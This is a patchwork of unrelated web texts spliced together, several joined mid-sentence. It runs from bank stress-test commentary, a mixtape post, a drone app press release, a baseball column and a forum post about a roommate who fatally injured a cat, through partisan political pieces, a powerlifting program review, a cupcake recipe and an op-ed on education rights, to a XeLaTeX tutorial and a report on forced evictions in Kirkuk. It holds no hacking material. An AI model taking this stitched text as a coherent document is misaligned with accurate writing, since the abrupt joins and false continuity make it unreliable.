The regulators will be dealing with a situation much changed from last fall, when the U.S. financial system was at a risk of collapse and the government bailout money was seen by many as desirable.
Now, healthy banks are eager to give back taxpayer funds and, despite a recession, the end of the financial world doesn’t appear to be at hand.
“The reality is they too want to get rid of their TARP money,” said Marshall Sonenshine, chairman of the boutique investment bank bearing his name, referring to healthier institutions. “So they are not going to buy anything that slows down that process.”
Regulators may have also lost some of their leeway after allegations they forced Bank of America (BAC.N) to complete its acquisition of Merrill Lynch.
“Already you have BofA feeling more than a little bit burned by having been pushed so hard to take over Merrill Lynch,” Sonenshine said. “You are likely to see more banks fail at the bottom of the food chain.”
Regulators may not want to create another giant through a merger, but they could urge one of the stronger banks to acquire a weak and smaller rival.
“If as a result of the stress test they realize there are two categories of banks — banks with excess capital that are in great shape and banks that are deficient, then such marriages may make a lot of sense from a regulatory standpoint,” said Joseph Vitale, a bank regulatory partner at law firm Schulte Roth & Zabel.CVLT Nation presents our new Deathrock/Post Punk dance party mixtape series, Coffinmaker. Volume I features an hour of upbeat dirgy tunes from the past and present that will have you dancing for sure! For all those reading this in Vancouver, if you dig this mixtape then make sure to come out to MYSTERIA presented by CVLT Nation and 11th House Media on April 24th at the Electric Owl, featuring Princess Sparklebat, Lord Caligari and CVLT Nation on the 1’s & 2’s…Right now it’s time to release the bats and download Coffinmaker Vol. I.
[audio:http://www.cvltnation.com/wp-content/audio/CVLT Nation COFFINMAKER Vol One.mp3|titles=COFFINMAKER Vol. I]
CVLT Nation Presents: COFFINMAKER Vol. I Tracklisting 1.Your Funeral: I Want To Be You 2.The Second Coming: Scarecrows 3.Bauhaus: In the Flat Field 4.Cemetery: State Ward 5.The New Flesh: Only to Fall 6.Spear of Destiny: Liberator 7.Vex: It’s No Crime 8.MassES: Intolerance 9.Belgrado: Progress 10.The Sound: Cold Beat 11.Spectres: Passages 12.Red Lorry Yellow Lorry: Walking On Your Hands 13.Criminal Code: Dilemmas 14.ANNEX: Fear of Silence 15.Alien Sex Fiend: I Walk the Line 16.Christian Death: Stairs – Uncertain Journey 17.Trash Groove Girls : Zero 18.Danse Society: My HeartWelcome to the internet, where everyone dispenses gratuitous career advice to everyone else and tells them how they should run their own lives! While I’m loath to contribute to this trend, I did get a really interesting response from someone who read one of my articles about building an agency, recently:
This really resonated with me because I definitely felt the same way when I was freelancing. This lack of time to really compete with people who were more experienced than me, and to learn new skills, was a real sticking point for me. It’s so horrible to look at your situation and think…
I love my job, but can’t take a proper holiday, and I know I’m gonna burn out if I keep going on like this in the future. And what if I get ill? Well, I’m royally screwed, if that happens.
Once you get into this ‘hole’ of working 14 hour days as a freelancer and never having enough time, I think you have a couple of options in front of you:
Keep being overworked, and decide that you’re ok with that Figure out how to get better projects and better clients, and bill better for it (freeing up more time) Keep freelancing, but build up some sort of extreme niche expertise that lets you bill crazy amounts per hour (like a security consultant) — I’m sure everyone would love this, but it’s not necessarily an option available to |
app is really the first augmented reality social game designed specifically to do just that,” said Menashe Haskin, Edgybees CTO & Co-Founder. “In contrast with flight simulators, Drone Prix AR provides a much more immersive experience that combines virtual obstacles with real-life piloting skills. DJI’s Mobile SDK allowed us to bring our idea to life very quickly and we are really excited to see how this app will change the way people experience flying a drone.”
Key features of the Drone Prix app include:
Solo and Competition Modes: Race against the clock to beat your previous score or compete with other users around the world to make it onto the leaderboard.
Flight Assistant: Track guiding will assist the pilot in the 3D space while they navigate around obstacles to collect coins and prizes.
Multiple Courses: Featuring over 30 different obstacle courses, with varying difficulties suitable for novice to experienced pilots.
Social Engagement: Pilots can link their user ID to their Facebook account and share their achievements with top performing pilots appearing on the leaderboard.
Similar to the DJI GO 4 App, the Drone Prix is a mobile app that can be downloaded to the user’s smartphone. Once the drone, remote controller and mobile app are powered on and connected, the user will get the drone’s camera view on their app, they can then select the course and start flying.
"DJI's support for the startup and developer communities has not only meant creation of new usage applications, but also new business opportunities," said Taehyun Moon, DJI's Director of Brand Management. "The Drone Prix app is one of the many great examples of how our SDK has opened doors to new creative possibilities and expanded developers’ ability to build exciting new custom applications.”
DJI drone operators will have the opportunity to use the Drone Prix app at the Korea DJI Arena and in DJI’s New Pilot Experience Program to help them master their piloting skills and experience the joys of flight in a whole new way.
The Drone Prix app is now available for download on the App Store and Play Store.
Video introduction of the app: https://youtu.be/NBtj1Caysu4That leaves the surprising Baltimore Orioles, who desperately need pitching help, atop the division by two games as they invade Yankee Stadium on Monday night. The four-game series should answer questions about both the O's and the Yankees.
ST. PETERSBURG -- The Toronto Blue Jays, at least on paper, arguably have the best team in the American League East. The Boston Red Sox, with an improved pitching staff, are coming on fast.
ST. PETERSBURG -- The Toronto Blue Jays, at least on paper, arguably have the best team in the American League East. The Boston Red Sox, with an improved pitching staff, are coming on fast.
That leaves the surprising Baltimore Orioles, who desperately need pitching help, atop the division by two games as they invade Yankee Stadium on Monday night. The four-game series should answer questions about both the O's and the Yankees.
Are the Orioles, powered by their Major League-leading 141 homers, equipped to remain in front of the Red Sox and Blue Jays during the remaining 72 games? Can O's executive vice president of baseball operations Dan Duquette wrangle a deal for a starting pitcher?
Video: Trumbo, Wieters power Orioles during first half
Unlike the Red Sox, who landed All-Star left-hander Drew Pomeranz from the San Diego Padres on Thursday, the Orioles lack the quality prospects to swing a deal.
That said, Oakland's Rich Hill is obviously on Duquette's radar. Or even Tampa Bay's Jake Odorizzi, who beat Baltimore on Sunday at Tropicana Field. Few baseball executives are as shrewd as Duquette at pulling off 11th-hour deals.
The non-waiver Trade Deadline is Aug. 1.
And the footnote to this is whether the once-mighty Yankees -- struggling at a game under.500 (45-46) -- can somehow become a contender. How well they play against the O's may be a clue.
Sunday, against the Rays, manager Buck Showalter took a step at improving the Orioles' rotation by starting Dylan Bundy, who'd pitched 38 innings in relief this summer. The fourth pick in the 2011 Draft, the 23-year-old Bundy underwent Tommy John surgery in 2013 and was hampered by shoulder problems last season. He was once one of the most promising young pitchers in all of baseball.
Video: BAL@TB: Bundy strikes out four in his first MLB start
The Rays won, 5-2, and all four runs Bundy allowed were the result of homers. Baltimore won the first two games of the series.
After the O's leave Yankee Stadium, they return to Camden Yards to face the Cleveland Indians who lead the AL Central with the best record in the AL. Baltimore's rotation has the third-worst ERA in MLB.
If that rotation can be improved, either within the organization (Bundy?) or with a trade, there's no reason to believe the Orioles can't be a huge factor the remainder of the season.
Plugging in a reliable arm to go with ace Chris Tillman would be the answer. Tillman, who's won 12 of his past 13 decisions including three in a row, leads the O's rotation with a 13-2 record and a 3.29 ERA.
Since 2012, Baltimore has 408 wins, more than any other AL team.
This year, the homers -- Mark Trumbo leads the Majors with 28 -- and relievers Brad Brach and Zach Britton are prime reasons why the Orioles are in first place.
Add to that third baseman Manny Machado, who's having an MVP-type season, and the entire potent batting order.
Britton, the left-hander who saved the AL victory in last week's All-Star Game, is 29-for-29 in save opportunities this season. He recorded his 100th career save on July 10 against the Angels and added two more in the first two games against the Rays.
Video: 2016 ASG: Britton gets double play to earn the save
On Friday night in a 4-3 win, Britton shut the Rays down with runners on first and third. He came back to preserve a 2-1 victory on Saturday night, setting them down in order. Britton threw nine of 12 pitches for strikes, easily retiring Logan Morrison and Steven Souza Jr. He got Corey Dickerson for a game-ending groundout.
Britton, 28, took over the O's closer role early in 2014.
After reaching 100 saves, the closer said: "That's a nice little number, but it's more of a credit to the last few years, how well Darren O'Day and Brad Brach have thrown in front of me, and a lot of other guys, too, to put me in a situation to be successful."
"I've said many times the ideal situation for a manager is to have a left-handed closer," said Showalter. "Because there are so few of them, that tells you how hard they are to find.
"When the Yankees had Dave Righetti [who saved 46 games in 1986], he was able to negate left-handed hitters late in the game, because that's who usually comes off the bench. Usually, left-handed closers are able to hold runners and must be really good fielders."
Showalter believes one of Britton's assets "is that he's worked hard at becoming a very good fielder. You have to be, because there are so many chopped balls and topped balls that you have to field -- swinging bunts and all."
Showalter says there may be a game in which the opposition gets a bloop hit, or does something to end Britton's string.
"It can happen," the manager said. "That's the life of a closer. Then, you come back the next day and shut them down."
With a pause and a twinkle in his eye, he added: "It's been fun to watch guys like Brad and Zach."
And to have his Orioles looking down at the others from their lofty position. How long that will last is the unanswered question.
Hal Bodley, dean of American baseball writers, is the senior correspondent for MLB.com. Follow him @halbodley on Twitter.My roommate kicked my cat so hard that we're going to have to put her down? Move or call the cops?
I left for my first vacation in a year from work, only to come back a week later to find my 8-month-old kitty half-dead. My roommate had drunkenly kicked her down the stairs while I was away, and left her there for two days "to see how she would do". Her bottom lip is ripped half off, is blind, can't... show more I left for my first vacation in a year from work, only to come back a week later to find my 8-month-old kitty half-dead. My roommate had drunkenly kicked her down the stairs while I was away, and left her there for two days "to see how she would do". Her bottom lip is ripped half off, is blind, can't walk straight, can't eat, anything. The infection is so bad the vet wants to just put her down.
Pics of my kitty :(
WARNING, kinda brutal.
Pic 1, the lip: http://imgur.com/Cu36n.jpg
Pic 2, paw: http://imgur.com/eepK1.jpg
Update: I'm in a tough spot. I'm in so much debt right now that moving might not be feasible, and calling the cops on my roommate will only create more problems and end up costing me in the long run because I can't afford the place on my own if something happens to my rooomate. None of my friends are in a... show more I'm in a tough spot. I'm in so much debt right now that moving might not be feasible, and calling the cops on my roommate will only create more problems and end up costing me in the long run because I can't afford the place on my own if something happens to my rooomate. None of my friends are in a position to help me out by moving in with me; my one hope is moving in with my girlfriend..........
Update 2: Mr/s. 'WhoCares', these pictures were taken and posted by me. It wasn't "run over by a car" nor was it taken 3 months ago. I took this cat in as my own from an abusive owner. She was malnourished and beaten, and it took her a lot to get over it all. She was well loved, and I named her... show more Mr/s. 'WhoCares', these pictures were taken and posted by me. It wasn't "run over by a car" nor was it taken 3 months ago. I took this cat in as my own from an abusive owner. She was malnourished and beaten, and it took her a lot to get over it all. She was well loved, and I named her "Donna." I left her with my roommate under the understanding that yes, he would be taking care of her. I asked him if he wanted me to make other arrangements, but he said he would handle it.
Update 3: Thanks for all the answers so far, they were most helpful!
Update 4: Thanks guys, for everything. Her name was Donna, and she's been put down. He's been officially kicked out. I'm working with the landlord to get everything moved into my name. SPCA and PETA emailed. Once the roommate is completely gone the police report will be filed.'I was not responsible for specific security requests and decisions.'
If there’s one thing Hillary Clinton wants Americans to know after watching Thursday’s Benghazi hearing, it’s that if you’re upset about the four Americans who died in the 2012 terror attack, don’t blame her.
Blame “security professionals.”
More than two dozen times over the course of Thursday’s marathon hearing, the former secretary of State deflected blame for inadequate security, insisting these decisions were out of her hands.
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“We knew what [Chris Stevens] was asking for,” Clinton said. “Those requests went to the security professionals.”
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Clinton couched her blame in praise — “99 percent of the time they get it right” — but nonetheless took no responsibility for the role that inadequate security played in the terror attack.
During her opening remarks, Clinton said, “I took responsibility’ for the Benghazi tragedy.” Toward the end of the hearing, she clarified: “I was responsible for quite a bit.... I was not responsible for specific security requests and decisions.”The top executive of one of the biggest outsourcing firms has now shifted gears about President Trump’s “America First” agenda.
In an interview this week, Infosys CEO Vishal Sikka said nothing but nice things about Trump’s administration, despite SEC filings from earlier this month showing the outsourcing firm has been panicked over curbs in the H-1B visa and immigration.
Infosys, like other outsourcing firms such as Tata Consulting Services and Capgemini, contracts with major tech corporations to offshore American jobs to foreign nationals, specifically from India. Through this outsourcing business model, hundreds of thousands of H-1B foreign guest workers replace American workers and eventually the job is fully moved overseas. Nearly 95 percent of Infosys’ workforce in the U.S. are foreign nationals of Indian descent.
Sikka said that as long as Infosys’ outsourcing business model can continue, he has no qualms about the Trump administration.
“The (Trump) administration is a very business administration, a very entrepreneurial administration,” Sikka said.
“As long as we can continue to focus on innovation, on value delivery in the new areas, I think things will be okay,” Sikka continued. “So IT is more and more as that. The underlying skills issue, the… making sure that the workforce is something that is (the) frontier of the future.”
The “skills issue” Sikka refers to in his statement is one where outsourcing firms, along with tech giants like IBM and Microsoft, claim there are simply not enough American workers skilled enough to do high-paying tech jobs. Therefore, they demand more and more foreign workers to take U.S. jobs.
Sikka’s statements are vastly different from those made in Infosys’s most recent SEC filings, as Breitbart Texas reported.
In those filings, executives complained and were alarmed by a president with a pro-American worker agenda who has promised major reforms to the H-1B visa and the implementation of a merit-based immigration system.
“An increase in anti-outsourcing sentiments in certain countries in which we operate, including the United States and the United Kingdom, may lead to the enactment of restrictive legislations that could limit companies in those countries from outsourcing work to us, or could inhibit our ability to staff client projects in a timely manner thereby impacting our revenue and profitability,” Infosys executives wrote in the SEC filing.
As Breitbart Texas reported, Infosys was most recently hit with a discrimination lawsuit from a former top executive, who claims that the outsourcing firm discriminated against him, a white man, and other non-Indian employees.
“Infosys has gone to great lengths to obtain its primarily South Asian work force in the U. S., in particular by utilizing professional H-1B and L-1 work visas to bring South Asians (primarily Indians) into the United States to work in information technology (“IT”) consulting roles, as its IT consulting business model dictates, and other non-IT capacities, including to replace or supplant non-South Asians,” the former employee said in the lawsuit.
John Binder is a reporter for Breitbart Texas. Follow him on Twitter at @JxhnBinder.I remember the day I decided I wanted to give powerlifting a shot like it was yesterday. I watched a few videos of elite powerlifters lifting heavy ass weight and I instantly wanted to see how my strength in the gym would transfer to the platform. I searched “powerlifting routines” on google and came up with an unimaginable amount of articles, recommendations, and programs to choose from. This was very overwhelming for me since this was going to be my introduction to powerlifting training. Over the years I’ve done excessive research into these programs, and I’ve ran all of the programs that I thought showed the most consistent results. This ongoing powerlifting program series will break down my favorite powerlifting routines at the present time. Although I can’t give out the full E-Books I will break down the programs and help you decide if this program is right for you!
The Juggernaut Method
Juggernaut Method Philosophy
1.) Big Movements
Simple – Big, compound, multi-joint movements are used to yield the greatest mass and strength gains. These compound movements will also yield that most inter/intra muscle coordination.
2.) Start Out Light and Make Incremental Gains Driven by Your Results
Starting out light enables you to progress for a longer period of time. It also ensures that you will make more lifts. You may have noticed in our previous program reviews (see: 5/3/1 + cube method), making lifts is a primary philosophy in most of the modern powerlifting programs. This is simply because making lifts makes you stronger and missing lifts doesn’t. This fact is often overlooked by novice or inexperienced lifters. The Juggernaut Method preaches progressive overload in its most simple form, adding weight to the bar each week!
3.) Setting Rep Records
Rep records are a major part of the Juggernaut Method Philosophy. In today’s day and age too many novice powerlifters are worried about their one rep max instead of focusing on rep maxes at higher rep ranges which will produce optimal results on the platform. This program can be very frustrating for many athletes because they are not allowed to attempt one rep maxes. Rep records are used because they are a good indicator of strength gains and they are also much easier on your joints and central nervous system.
“They will say something to the effect of “I really wanna see if I can bench 250 today”. I’ll tell them, “No, but when you get 250 on the bar you’re going to do it for more than 1 rep” – Chad Wesley Smith
4.) Simplicity
If you look around at most major powerlifters their programs may vary, but they all have a few things in common. They all Bench, Squat and deadlift, and they do it big by breaking PR’s! Your major focus should be making big lifts, working on technique, and improving as a lifter each time out. Consistency is king! Remember, keep it simple stupid!
The Program
The juggernaut program is broken down into four waves. There is the 10’s, 8’s, 5’s and 3’s wave. Each wave is made up of 3 phases. If following the program as written you will lift four days a week, one “major” lift per day – Bench, Squat, Deadlift, and Military Press.
Accumulation Phase: This phase is the first week of each wave. The accumulation phase is a high volume week that allows you to focus on developing skill for each particular lift, Increasing your work capacity and stamina, and mastering the lift for the given rep range. Intensification Phase: This phase is the second week of each wave. During this phase you will increase your intensity from the previous phase while reducing volume by 60%. Realization Phase: This phase is the third week of each wave. During this phase and gains you have made from the previous phases will come to fruition when you attempt one all out set for maximum reps.
Choosing Your Working Max
A very key component of the Juggernaut Method is starting out what a conservative one rep max. Your working max is the number that all your percentages will be based off of when determining how much weight you will lift in each phase. It is STRONGLY recommended that you use 90% of your true one rep max and base your percentages off that number. For example; If you bench 315 you should use 285 as your “working max”.
The Percentages
I’m limited with what I can provide as far as this topic goes, because the program as a whole is based solely around these percentages. I will provide the 10’s wave as an example;
10’s Wave
Accumulation – 60% x 5 x 10
Intensification – 55% x 5, 62.5 % x 5, 67.5 x 3 x 10
Realization – 50% x 5, 60% x 3, 70% x 1, 75% x AMAP (As many as possible)
*(Percentage change for the 8’s, 5’s and 3’s wave – I highly suggest you do not attempt to “guess” at the correct percentages)
The Last Set
The last set of each of the three weeks is not necessarily done by following the written reps. You should be doing the last set for maximal or near maximal reps.
For example, during the 10’s wave intensification phase you will be working up to 67.5% x 3 x 10. It may looks like the following when all is said and done;
67.5% x 10, 67.5% x 10, 67.5% x 14
As you can see in this example our lifter reached 14 reps on the final set of the day for that lift. However, it is important to stress that this final set shouldn’t go until failure. It is recommended that you stop before that point. Training to failure week after week is difficult on the body and makes recovery more difficult. During the accumulation phase it is suggested that you stop 2-3 reps short of failure. The intensification phase has a recommendation of 1-2 reps short of failure. The realization set is when you go all out and leave NOTHING in the tank!
Moving Up Your Working Max
THIS IS THE MOST IMPORTANT PART OF THE PROGRAM.
You will adjust your working max at the end of each wave based on the results from your realization phase. For every rep you go over the “Standard” you will move your weight up a set amount (10 is the standard in the 10’s wave, 8 in the 8’s wave, etc). The formula is as follows;
[{Reps performed – Standard) x increment per rep] + Working Max = New Working Max
This may be confusing for you, so here is an 8’s wave example;
Our subject: Athlete with a 300 Squat who performs 12 reps during the realization phase of the 8’s wave
[(12-8) x 5] + 300 = 320
In this example 320 would be your new working max and you would base the next waves percentages off of that number.
One important thing to note is that the “increment per rep” can vary. You decide what you think the increment should be. You can use 2.5lbs for upper body days and 5lbs for lower body days or you can cut that in half and use 1.25 and 2.5. Here are a few things to consider when deciding how much to use for your increment per rep.
Strength: If you consider yourself a strong athlete for your size, increasing your weight by 2.5 and 5 pounds respectively won’t be as hard on your body as someone who is say an average lifter or a novice. For example if you have a 450lbs max squat and you increase the weight by 5lbs you are only increasing your working max (based on the same scenario above, 12 reps in the 8’s wave) by 20lbs or 4.4% in the next wave. Whereas, if you are a novice lifter with a 205lbs working max, who also tried to increase by 20lbs in the next wave, then you are increasing your percentage by 9.8%. It will be much more difficult for an athlete with a lower max to make large increases in weight and continue to hit the required reps and continue progressing upward. Check your ego at the door!
If you consider yourself a strong athlete for your size, increasing your weight by 2.5 and 5 pounds respectively won’t be as hard on your body as someone who is say an average lifter or a novice. For example if you have a 450lbs max squat and you increase the weight by 5lbs you are only increasing your working max (based on the same scenario above, 12 reps in the 8’s wave) by 20lbs or 4.4% in the next wave. Whereas, if you are a novice lifter with a 205lbs working max, who also tried to increase by 20lbs in the next wave, then you are increasing your percentage by 9.8%. Training Age: If you have been lifting seriously for a long time (10+ years), your gains simply won’t come as fast as someone who is still in their early years. If you’ve been in the game a long time, considering making the small 1.25/2.5lbs jumps!
If you have been lifting seriously for a long time (10+ years), your gains simply won’t come as fast as someone who is still in their early years. If you’ve been in the game a long time, considering making the small 1.25/2.5lbs jumps! Relationship between working max and projected max: One of the biggest components of this program is that you remember to keep you working max 5-10% below your projected max in order to keep progress steady and trending upward! You need to make sure when you choose your increment increase that you keep this in mind. A common theme here is…
CHECK YOUR EGO AT THE DOOR!
The Deload
If you follow the Juggernaut Method correctly you will be deloading every fourth week. Remember, deloads are meant for recovery, and to help you perform optimally over the long haul. During your deload it is suggest that you perform your main lift for 40% x5, 50% x 5, 60% x 5 and then cut your accessory work volume in half.
Assistance Work
Once again I cannot give away the nuts and bolts to the program, but one method of accessory work that is acceptable with the Juggernaut Method is “west side for skinny bastards” which was designed by Joe DeFranco. This program is very popular in the fitness industry for athletes who need to gain muscles and increase their work capacity. An example from West Side For Skinny Bastards;
Bench Day:
Vertical Pulling (super set) Upper Back 3-4 sets x 8-12 reps
Medial Delts 3-4 set x 8-12 reps
Arms (Bi’s or Tri’s) 3 sets x 8-10 reps (superset) Traps 3 sets x 12-20 reps
This is just one example of one day of many types of assistance programs the Juggernaut Method E-book offers. You will see that there are a variety of assistance work programs that may appeal to you if the example above does not.
Final Word
Although the “Know Thy Program” series is meant to give you an unbiased look into each program, I do feel that I would be short changing our readers if I didn’t state that this is my all time favorite program I have ever run. This program focusing on making steady progression in all rep ranges which will eventually (if followed correctly) translate to a drastic increase in your one rep max. If you have a minimum of four months to commit to a program (preferably 8) and want to see what I would consider GUARANTEEED results, then pick up the E-Book from the Amazon link below and set some PR’S! (It’s only $5.99 I believe)
(if you don’t have a kindle you can still buy this book, just download the free kindle reading app. You can use it on any device. I read mine on my iPhone.)I am in love with these art party cupcakes! The edible paint palette toppers are easier to make than you think and sure to wow your guests with how creative you are. The cupcakes are perfect for an art themed party or social gathering including birthday parties. They are so colorful and fun-looking and double as an artsy decoration on the table.
How to make the Art Party Cupcakes
Cupcake Ingredients:
2 1/2 cups all -purpose flour
2 tsp baking powder
1/2 tsp baking soda
1/4 tsp salt
1 cup unsalted butter (room temp)
1 1/2 cup sugar
2 eggs (room temp)
2 egg yolks (room temp)
2 tsp vanilla extract
1 tsp grated lemon zest
1/4 cup fresh lemon juice
1/2 cup whole milk
Cupcake Directions:
Preheat the oven to 350 degrees. Whisk all dry ingredients together in a bowl. In a separate bowl, mix the butter on medium speed until light and fluffy. Add the sugar to the butter and mix until smooth. Add the eggs one at a time; mixed well. Add the yolks one at a time; mixed well. Beat in the vanilla extract and lemon zest until fully mixed. Begin slowly adding the lemon juice on low speed. Add the dry ingredients and milk. Begin with the dry ingredients and alternate with the milk into the butter mixture then increase the speed to medium. Be sure to scrape the sides while you mix. Fill cupcake liners 3/4 full. The paint splatter cupcake liners are a fun choice! Bake at 350 degrees for 20-25 minutes or until an inserted toothpick comes out clean. Cool in the cupcake pan for 15 minutes. Take out and allow to cool completely on a wire rack.
Frosting Ingredients:
2 cups powdered sugar
1 cup unsalted sweet cream butter
2 TBSP heavy whipping cream
Red and yellow gel food coloring
Artsy Frosting Directions:
Mix the butter and powdered sugar in a mixing bowl until creamy. If frosting doesn’t cream, add several drops of heavy whipping cream until it becomes creamier. Take a spoonful of frosting, turn it upside down and see if the frosting holds to the spoon. If not, add 1/2 cup of powdered and mix. Test to see if the frosting holds to the spoon, if not add another 1/2 cup of powdered sugar until it holds. Divide the frosting into 3 bowls. The first remains white. Add several drops of red gel food coloring to the second bowl and. Stir well. Add several drops of yellow gel food coloring to the third bowl and stir well. Scoop each color, one at a time, into a pastry bag with a frosting tip on the end. Twist the open end of the pastry bag to push the frosting out. Test this before applying to the cupcakes. The frosting should come out as red, yellow and white frosting intermixed. Frost the cupcakes.
Edible Paint Palette Cupcake Toppers Tutorial
Royal Icing Ingredients:
2 egg whites
1 cup powdered sugar
1/2 tsp cream of tartar
tan, white, black, nude, yellow, red, blue, and orange gel food coloring.
Directions:
Combine all ingredients, except the food coloring, in a mixing bowl mixing on medium speed for 4 minutes. If it’s not white enough add 1/4 cup powdered sugar.
Instructions for the Edible Paint Palettes
Locate a picture of a paint palette on the Internet or anywhere else you can find one. Print multiples of the image in color. Cut and tape them to a cookie sheet. Tape a sheet of wax paper over the paint palette images. Take out about 16 tablespoons of icing and divide it into 8 bowls (2 TBSP in each bowl). Add 2 drops of gel food coloring in each bowl to create tan, black, nude, yellow, red, blue, orange, and leave one white. Stir well to mix the colors within their bowls. If you are using the same tip it will need to be cleaned after each use (Or use zip lock bags by cutting the corner of the bag). Fill a small pastry bag filled with the tan royal icing and a #2 tip. Start by outlining the palette first. Fill in the outline leaving the paint spots and the brush uncovered. Use a pastry bag with the nude icing and use it to fill in the handle of the paintbrush. Use a pastry bag filled with black icing to fill in the brush tip of the paintbrush. Fill a small pastry bag with blue icing and fill in the paint spot until you have one blue spot on each paint palette. Repeat these steps with the remaining icing colors: red, yellow, and white. Allow to dry for 5-10 hours. Cut the wax paper into squares around the completed edible paint palette toppers. Ensure the paint palettes are dry by gently touching one of them. If it’s dry peel them off the wax paper. Decorate the tops of the frosted cupcake with your little masterpieces…he, he!
On the day of the party, place the cupcakes on a paint splattered tablecloth – easy to make yourself and kids can even help create it. Add paintbrushes, paint, palettes, and so on around the cupcakes as decoration.
Your birthday guest are sure to ooh and ahh over your colorful art party cupcakes!
See more cupcake recipes here.The United States was founded on the ideals of individual liberty and inalienable rights. The core precept of the Revolution and foundation of the United States was that all people have rights that come from Nature and God. Jefferson claims that man, in his natural state, is free and that such rights are self-evident. That is to say, it is moral and just for an individual to live lives free without threat of violence from others. Forcing people to accept higher education as a right is an authoritarian construct; people would not be allowed to choose whether or not to support the program. The state would simply steal people’s labor and property to achieve that totalitarian goal rather than let individuals choose how to contribute to higher education.
Although there is wide acknowledgment that human rights do exist, what is and is not a right is often misconstrued. A right is the freedom to exist, and to act upon one’s own accords in a way that does not encroach on another individual’s liberty. For example, the right to free speech exists because for one to express their mind does not require the submission of another’s rights. Such natural law has been enshrined in a number of different ways, one being the American Declaration of Independence. It states: “all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty, and the pursuit of Happiness.” People have the right to pursue happiness, although they are not guaranteed it nor are they guaranteed equal outcomes. It is not only impossible to do so, but attempting to do so would diminish the freedom of others. This brings us to the question of whether or not higher education is a right.
Higher education is valuable to individuals and society as a whole. However, the notion that everyone in the country and in the world needs and is entitled to a college degree is objectively false. Going to college is right for some people, just as it is wrong for others. Everyone has their own path, and everyone has the right to pursue what they want. However, that is not to say they are assured to succeed or achieve their goals. When we begin to refer to things as rights, that are not rights, it not only creates a moral hazard, but in practice it does not work. The failure of the Excelsior Scholarship is the perfect example of such government programs failing, as I believe after reading the article by Elise Coombs in the Sept. 5 edition of the ASP.
For one to say people have a right to higher education (to paraphrase Senator Paul), it implies that they believe in conscription and slavery. Higher education requires a professor, administrative staff, and maintenance staff among other human resources. A law only exists through compulsion by force. If one has a right to higher education, the government can force a professor to teach, in effect stealing his or her labor, which is an infringement on the professor’s rights. If a professor does not give his labor to the state, the state then sends men with guns to arrest or harm them, suppressing that individual’s right to life, liberty and the pursuit of happiness.
There is a difference between a right and a something we should strive for through voluntary contracts between individuals. When the state calls something a right, it is no longer voluntary to comply with it, meaning someone is being conscripted or having their property stolen. We as individuals and as a society can and should help those who seek higher education through voluntary charity; not through compulsion under the threat of force. It is never okay to force someone to give away their life and liberty for a morally corrupt government program.
As a society we ought to aspire to help each other reach our potentials. If that includes helping someone who wants to go to college but cannot afford it, then we should help them as a community and through private contributions. The United States is the most charitable nation in world and as a people we can and often do help those who need it. According to the National Philanthropic Trust, Americans gave nearly $400 billion dollars to charity in 2016, more than any other country in the world nominally and more per capita than any other people in the world. We should voluntarily help those who want to go to college but cannot afford it. This is very different than declaring higher education a right and having it provided by the state.Now and then I get asked about how to use some TrueType or OpenType font with LaTeX, so I figured I would take the time to write up some simple tutorials on how to do so. The first part will focus on the easiest route to making use of TrueType and OpenType fonts in LaTeX: XeTeX and XeLaTeX.
XeLaTeX also has the advantage of not only giving easy access to modern fonts, but also accepting Unicode input files.
The first thing you need to do is find out if you have XeLaTeX installed, and if it is a sufficiently up to date version. This is easiest to do from the command-line:
% xelatex
This is XeTeXk, Version 3.141592-2.2-0.996 (Web2C 7.5.6)
%&-line parsing enabled.
**^C
This is the version that I am using for the tutorial, and is what comes with TeX Live 2007. I highly recommend just installing and using the entire TeX Live CD/DVD, even if you're using a Linux system that offers TeX Live packages, because, in particular for Debian/Ubuntu, I've found that the default installation often doesn't install some important packages, and it can be a pain sort through all the available packages using Synaptics or whatnot to find what it didn't install.
I am also assuming that you are using a (modern) Unix or MacOS X system. I assume that most of this material should also apply when using Windows, but if someone can comment, let me know.
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and erected homes in the neighborhood, Asayish and Kirkuk police would regularly come to the area and demolish some houses with excavators. When he asked why the homes were being demolished, a police officer told him it was because the homes were built without permits. On September 22, at about 4 p.m., a larger number of Asayish forces arrived without warning and demanded that the residents hand over their identity cards and threatened to demolish the homes with them inside if they did not leave. They did not tell families where to go, only that they had to leave Kirkuk.
“Ahmed,” also from the village of al-Bohanehen in Diyala, said that his family begged the Asayish for a few days to pack their belongings, but the Asayish refused. Ahmed said that as they left he saw security forces demolish at least 30 homes of families from al-Bohanehen. None of the families received compensation or alternative accommodations.
The three men from al-Bohanehen said they returned to their village because they had nowhere else to go, and because ISIS had been pushed out in November 2014. The three men said the families who returned to al-Bohanehen have no access to basic services including food, water, adequate shelter, medical care, and hygiene facilities. Aid workers who visited the village confirmed the conditions. Most of the families have settled in abandoned buildings and destroyed houses, as the majority of the village infrastructure and homes were damaged in fighting and their homes are not habitable, the aid workers said. Some families told the aid workers that they felt unsafe due to lack of adequate shelter and risks to their physical safety.
Laylan Camp, Kirkuk city, September 22, 2016
Aid workers said that on September 22, Asayish forces forcibly displaced 115 Arab families from the Laylan camp in Kirkuk without prior notification and without offering them safe alternative housing. The families came there between 2014 and 2016, after fleeing their homes in Baiji in Salah al-Din governorate when ISIS came to the area.
A local Arab sheikh said: “This decision came from Iraqi central government because their cities are liberated, and the government doesn’t have adequate capacity to keep all these families, when many IDPs [internally displaced persons] will start coming soon from Hawija. The government is preparing these camps for IDPs from Hawija and Mosul.”
“Muhammad” fled Baiji with his family in early 2015 because of heavy airstrikes on the area targeting ISIS. The family stayed with friends about 140 kilometers west of Kirkuk in al-Shirqat, which was also under ISIS control at the time. In June, he decided to escape with his 2-year-old daughter, 10-year-old son, and wife. All three of them died on the journey out but Muhammad made it to Laylan camp. On September 22 at 9:30 a.m., Asayish forces from the camp came to the tent he was sharing with his brother and told them to grab their possessions and leave. They did as they were told:
They kicked out many other families that day, I am not sure how many, but they loaded us into 10 buses. They didn’t let three female neighbors of mine take time to wash their faces and pack. They brought us to Daquq checkpoint, and from there we needed to get our own taxis home.
Muhammed and his brother and brother’s family went to Tikrit, the closest urban center to Baiji, most of which was destroyed in fighting against ISIS. Aid workers present during the forced displacement said that security forces had used physical violence against women, children, and men as they bused them out of Kirkuk Governorate. The families have settled in unfinished buildings and shops in the Qadisiyah neighbourhood of Tikrit and lack basic services, and some are still missing their identity cards, aid workers who have since visited the community said. Muhammad said:
At the camp we had help from different organizations. Now I am living in a half-built house with no windows or doors. I am not scared at the moment, but wherever you go in this country you don’t really feel safe. How can I feel safe when I sleep in a house that does not have any doors or windows. Every night I expect something will happen to me.
